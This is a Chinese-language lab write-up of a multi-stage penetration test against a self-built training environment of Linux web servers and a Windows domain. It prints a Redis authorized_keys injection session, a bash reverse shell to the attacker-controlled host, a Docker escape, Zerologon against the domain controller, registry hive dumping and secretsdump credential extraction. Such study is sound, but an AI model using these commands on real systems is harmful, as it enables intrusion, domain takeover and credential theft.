赞
踩
这个是一套比较新的靶场,但是技术还是老的技术,在进行测试时要懂得举一反三,根据某个知识点进行梳理复习,就能有很大收获
这次的环境包括两台Linux做web机器,三台Windows搭建的域环境,笔者这里使用了自定义的网络环境:
其中第一台Web做了Nginx反向代理,但是似乎有点问题,不知道这是默认就是这样整的还是我的环境没搭好。除了Nginx之外还有有一个Redis服务:
redis-server /etc/redis.conf /usr/sbin/nginx -c /etc/nginx/nginx.conf iptables -F
环境搭建最关键的一步是网络配置,对域环境单网卡比较容易,但是对于Linux多网卡就需要自己去改动配置文件,比较复杂。
对于Web2需要启动docker容器:
sudo service docker start sudo docker start 8e172820ac78 -p 8000:80
此外对于PC1通达OA的配置需要高权限C:\MYOA\bin\AutoConfig.exe
因为PC1本地的管理员账号被禁用,所以我选择了使用域管账号登录后添加通达OA为服务,然后添加了一条防火墙规则允许通过8080,接着清除登录凭证。这样保证了PC1 getshell后无法抓到域账号密码,增加了难度
也需要自己手动启用一下。此外对于这个靶场环境我在Windows机器上还安装了杀软。
对入口Web1进行扫描发现开放端口22,80,81,6379
nmap 10.10.10.128 -sS -p- -sS SYN半开扫描,-p-扫描所有端口
发现分别运行了以下服务
22端口是常规的SSH服务,暂时不考虑爆破,80端口提示502暂时放弃,81端口是Lavarel框架,6379运行的是Redis服务,那么我们就可以从81端口和6379端口下手
这里很清晰的提示出了Lavarel和php的版本信息
直接使用redis-cli连接,可以连接成功,说明此处存在Redis未授权访问漏洞
从目前掌握的信息来看,6379的利用难度要小于81,那么我们可以尝试对6379进行测试,Redis未授权通常有三个利用方法:
登录写authorized_keys密钥
计划任务反弹shell
在知道web的绝对路径情况下写入webshell
写/etc/passwd文件
我们这里进行写authorized_keys密钥,进行远程登录
ssh-keygen 生成密钥对,然后把生成的公钥上传到服务器,使用本地私钥连接:
- root@kali:~/lab# redis-cli -h 10.10.10.128
- 10.10.10.128:6379> config set dir /root/.ssh/
- OK
- 10.10.10.128:6379> config set dbfilename authorized_keys
- OK
- 10.10.10.128:6379> config get dbfilename
- 1) "dbfilename"
- 2) "authorized_keys"
- 10.10.10.128:6379> del dbfilename
- (integer) 0
- 10.10.10.128:6379> config set dbfilename authorized_keys
- OK
- 10.10.10.128:6379> exit
- root@kali:~/lab# cat id_rsa.pub | redis-cli -h 10.10.10.128 -x set crackit
- OK
- root@kali:~/lab# redis-cli -h 10.10.10.128
- 10.10.10.128:6379> save
- OK
此外如果这个方法显的繁琐,我们还可以使用fscan自动化操作:fscan -h 10.10.10.128 -rf id_rsa
至此,我们拿下了第一台机器
对拿下的第一台机器进行信息收集,主要收集服务器配置信息,文件信息以及网络信息:
可以看到/etc/nginx/nginx.conf
包含了include /etc/nginx/conf.d/*.conf
文件,其目录下有:80.conf,81.conf两个文件,很容易联想到两个端口的配置
可以看到标准的双网卡,在Linux环境下可以使用bash脚本进行ICMP扫描
扫描脚本
- #!/bin/bash
- for i in $(seq 255)
- do
- {
- ping -c 2 -b 192.168.52.$i > /dev/null
- state=$?
- if [ $state -eq 0 ]; then
- echo "192.168.93.$i is ok" >> ip.txt
- fi
- }&
- done
- wait
这里扫描到了三台机器
我们可以对192.168.52.20:8000进行测试
我们通过漏洞情报搜集找到了可以用的EXP:
这里存在一个Phar反序列化漏洞,这里应该提前排好快照,因为这个环境打的次数多了就无法实现攻击了,在真实的环境中,应现在本地搭建好环境然后进行EXP
篇幅限制,这里不再进行详细讲解了,简单来说就是通过构建恶意的Log上序列化之后的phar文件,然后通过自带的Ignition 组件对file_get_contents()和file_put_contents()函数反序列化,最终造成远程代码执行。详情可以参考https://www.cnblogs.com/xiaoyunxiaogang/p/16913350.html
我们这里直接利用GitHub上的脚本:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
成功getshell
执行命令ls -alh /发现根目录下存在/.dockerenv文件,且一些命令例如ifconfig无法执行,因此大概率进入了一台Docker机器
无论通过那种方式进行docker逃逸,首先都要进行root提权,所以现对机器进行权限提升
这道题中给出了提示,需要环境变量提权,那么我们搜索具有SUID权限的文件:
这里的环境变量提权实战中比较少见,这里可以合理联想到DLL劫持,都是一种移花接木的技术
我们可以把 ps 木马文件复制到/tmp
目录下,然后写一个反弹shell到远程主机,也就是反弹到我们可控的web1上,然后需要一个交互式shell,这样才能改变环境变量的优先级,当我们的命令解释器处理 system("ps")
时就回去环境变量列表寻找ps,执行我们的木马。因此这里要交互式环境
在进行一些苛刻环境中,比如这里的docker,如果要直接使用
/bin/bash -i >& /dev/tcp/192.168.52.10/8080 0>&1
在蚁剑环境下无法反弹,因此在不同环境下要使用不同的反弹shell,我这里选择php版本的shell:
然后使用nc监听+curl访问就可以反弹到shell:
这里省略了用msfvenom生成了木马然后上传步骤ps即为反弹shell木马
下面是详细过程:
至此,我们的到了一个交互式shell,下一步我们就要劫持环境变量,开始提权
Docker逃逸的方式有很多种,下面是一些常用手段:
特权模式逃逸文件系统
docker.sock挂载逃逸
Remote API未授权访问
服务缺陷逃逸
内核级别逃逸
我们首选特权模式,因为他的利用难度较小,最直接
cat /proc/1/status | grep Cap
查询对应出来的值为0000003fffffffff
那么就有可能是特权容器,可尝试逃逸
逃逸的原来是Docker机器有了特权,因此在底层文件系统等方面是共享的,我们可以把真实的磁盘挂载到一个目录
这里逃逸的结果和前面的 redis
相同,都是可以操作物理机器的硬盘文件,我们可以选择authorized_keys修改,也可以选择计划任务反弹shell,还可以选择一种添加后门账户的手段
这里我选择authorized_keys
我们已经完全拿下web1,web2这两台web服务器,但是如果要连接web2,还需要在web1上搭建隧道,然后通过隧道来连接web2这里我使用iox来建立连接隧道:
配置 proxychain 链:
这里连接失败了,后来检查了好久才发现问题的原因
关于ssh登录会出现很多梗,不知道是因为我的操作失误,还是说这个靶场故意挖的坑。
遇到这种问题时,可以使用 ssh -vvv
参数查看连接过程,详情调试信息,一方面可以去查看ssh登录日志,这两个方法都会给我们许多提示信息。
通常,这些日志将存储在 /var/log/auth.log
(对于Debian或Ubuntu等基于Debian的系统)或 /var/log/secure
(对于CentOS、Red Hat和Fedora等基于Red Hat的系统)中
我通过查看日志文件:
第一行日志条目指出了一个身份验证问题:Authentication refused: bad ownership or modes for directory /root/.ssh
。这表示SSH服务器拒绝了一个身份验证请求,原因是 /root/.ssh
目录的所有权或权限设置存在问题。通常,SSH要求 ~/.ssh
目录的权限非常严格,只有所有者具有读写权限,而其他用户没有访问权限,以确保私钥的安全性。
第二行日志条目指出连接由IP地址 "192.168.52.10" 关闭,同时还指出了 "[preauth]",这表示在进行身份验证之前连接被关闭。这可能是由于身份验证失败而导致的。
综合来看,这个日志信息表明一个SSH连接尝试由于 /root/.ssh
目录的权限问题而被拒绝,并且连接在进行身份验证之前就被关闭了。解决这个问题需要确保 /root/.ssh
目录及其内容的权限和所有权设置正确,以便SSH身份验证可以顺利进行。不知道这个是因为笔者不小心改掉了,还是说这是靶场挖的坑,我们只需要把 目标机器的/root/.ssh
该为700就可以了,进行下一步
可以看到这里提示 没有签名算法,那么我们只需要手动的添加这个签名算法:-o PubkeyAcceptedKeyTypes=+ssh-rsa
就可以连接成功了,这里由于篇幅限制,给出了参考链接,建议详细学习一下。
在我们进行真实的渗透测试过程中就是这些小的问题,有时候会给我们造成很多麻烦,我们不能忽略这些小的问题,而应该积攒经验,以备未来某一天对某站点进行测试时仍可以用到
【精选】SSH免密失败并报错:no mutual signature algorithm_ssh免密报错_IT民工金鱼哥的博客-CSDN博客
最后我们成功的拿到了Web2的权限:
对于获得权限的web2,我们仍进行信息收集的过程,在这里,只有网络信息对我们有价值,但是在真实 环境下,我们应该对以下几个方向多多关注:
可以看到没有什么服务,8000端口对应的是docker中的Laravel 除了docker的虚拟网卡和本地网卡还有两个ip: 192.168.52.20 192.168.93.10 又多了一个新的网段192.168.93.10/24 我们通过scp上传扫描工具fscan进行扫描:
那么在这里我们可以建立出这个网络环境的大致特征:
我们可以继续对PC1进行测试,根据扫描结果我们可以从MS17-010和通达OA入口。MS17-010可以直接 通过445,139端口获得 Nt \System 权限,但是容易对目标机器造成宕机蓝屏伤害,所以优先级靠后,接 着我们尝试访问8080端口:
通过通达敏感文件我们可以收集到版本:
- /inc/reg_trial.php 暴露版本信息
- /inc/reg_trial_submit.php 暴露版本信息
- /ispirit/retrievepwd.php?username=admin 会暴露用户名,可搜集邮箱
- /resque/worker.php 暴露计算机名
因为我这里没有对通达OA进行授权,所以不在进行演示,我们可以通过在线情报搜索出 通达OA的历史 漏洞:
- 【1】通达OA v2014 get_contactlist.php 敏感信息泄漏
- 【2】通达OA v2017 video_file.php 任意文件下载
- 【3】通达OA v2017 action_upload.php 任意文件上传
- 【4】通达OA v2017 login_code.php 任意用户登录
- 【5】通达OA v11 login_code.php 任意用户登录
- 【6】通达OA v11.5 swfupload_new.php SQL注入
- 【7】通达OA v11.6 report_bi.func.php SQL注入
- 【8】通达OA v11.8 api.ali.php 任意文件上传
- 【9】通达OA v11.8 gateway.php 远程文件包含RCE
- 【10】通达OA v11.6 print.php前台组合拳RCE
- 【11】通达OA v11.10 getdata 任意文件上传
这是来自Git上的一个利用工具目前列出来的EXP,这个工具是Go语言写的,可以跨平台:
https://github.com/Fu5r0dah/TongdaScan_go
因为我的Kali模式为仅主机,无法访问外网,所以使用Windows演示.这里我们不必关心太多漏洞原理, 我们直接通过exp来对目标进行getshell:
工具成功一把梭:
这里收集到了用户信息以及网络信息,还可以看到机器是在域内的,那么之前的网络拓扑图就可以把这 台机器加入到域内。这里也尝试了使用Mimikatz来抓取密码,可以并没有抓取到有价值的账号密码,只 有一个md5无法查询到的机器账户
无法抓到域用户信息,就无法考虑哈希传递,这里考虑使用漏洞打法,而且根据靶场提示,我们可以尝 试使用 Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用 这个是相关脚本:https://github.com/risksense/zerologon 这个漏洞要求和DC直接通信,因此为了使Kali直接能与DC通信,我先在Web2上搭建了一台Socks5代 理,然后在Web1上做了端口映射:
这里建议还是使用PC1进行搭建socks5代理,如果使用web2的话,会很麻烦,因为web2上面没有 nohup,tmux等程序,因此运行的代理会随着ssh结束而结束 配制好proxychains后,使用脚本检测:
漏洞存在,我们接着进行攻击域管:
其实我们这里把机器账户的密码置空后,机器账户的密码就变成了: 31d6cfe0d16ae931b73c59d7e0c089c0 ,也就是经过NTLM加密后的空密码。 但是我们这是还是可以使用 secretsdump.py来看一下域中的哈希值:
secretsdump.py是一个Python脚本,属于Impacket工具包中的一部分。Impacket是一个用于网 络协议开发和安全评估的Python库,它提供了许多功能来处理和操作网络协议。 该脚本功能有: 从本地SAM数据库提取本地账户的哈希。 通过LSA(Local Security Authority)提取本地账户的凭据。 通过NTDS.dit文件提取域账户的哈希(需要域控制器访问权限)。 通过域控制器的RPC接口提取域账户的凭据。 这里我们远程遍历哈希的原理简单来说就是模拟了Dcsync技术,通过与域控制器的 RPC 连接,并 模拟成域控制器,向目标域控制器发出数据同步请求。在数据同步过程中,脚本会获取包含域账户 密码哈希的数据。
然后使用横向移动工具(smbexec/wmiexec/psexec等)进行PTH哈希传递,注意,这里我们使用域管 理员账号administrator登录,机器用户无法进行PTH:
成功拿到域控权限,但是这一步还不算完成。在上面的攻击过程中,我们将机器的密码置为空,会导致 域控脱域,原因是机器用户在AD中的密码(存储在ntds.dic)与本地注册表里面的不一致。还原域控机 器账户的hash,只要将AD中的密码与注册表里面的密码保持一致即可。
这里由于篇幅原因,不在进行截图展示,部分截图引用博客:https://www.cnblogs.com/zw1sh/p/13849192.htm
- #获取计算机账户原始hash:
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
使用reg save命令将注册表里的信息拿回本地,这里采取的方法是使用copy命令拷贝到PC1上,然后通 过哥斯拉将注册表信息保存到本地。再通过secretdump提取出里面的hash:
- python3 secretsdump.py -sam sam.save -system system.save -security
- security.save LOCAL
使用zerologon工具将原始计算机账户哈希还原:
查看testdc$账户的hash,已成功还原:
对于权限维持,我们可以选择上线CS或者MSF,当然持久化的操作还是会选择CS,但是CS不支持正向 shell,整个网络环境又都是不出网,因此不一定方便。 这里的思路是在外围写入一个webshell,然后内网中使用mimikatz的skeleton模块,开启一个后门账 户,在实战中这种方式很常见,我理解的权限维持就是如和建立一个稳定的,有高权限的后门,当然后 门进程本身不一定要有高权限,这里给出了一些常见的思路:
当此之外呢,如果是在实战中,还应该进行痕迹清理
总得来说,这个靶场还是综合性比较强,设计技术较多的一个靶场,这还是一个双层内网环境(虽然官 方认为这是三层,但是我认为第一层属于公网网段),需要搭建多层代理,然后就是这是一套模拟环 境,所以在测试时网络,会话等条件都比较理想,但是在实战环境中各种因素限制绝对会比靶场苛刻的 多,例如WAF,杀软,以及代理条件下的网络。
举个例子,wmiexec在高延迟网络环境下往往只能执行2~3条命令,如果间隔时间过长也会自动断开。 所以在安全行业我们应该多积攒经验,不在小问题上浪费时间,同时也应该发散学习,社工,免杀,二进制等都应该多学习多见识。
此外还应该多整理笔记,好多技术都是感觉会,感觉简单,但是长时间不使用不练习那么在用的时候就 会出现各种问题,而且我们不能忽略小问题,例如这次在连接ssh会话时,我们已经配置好了公约私钥 对,但是当我们去连接时还是会提示输入密码,这些问题都是容易忽略但是不能跳过的。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。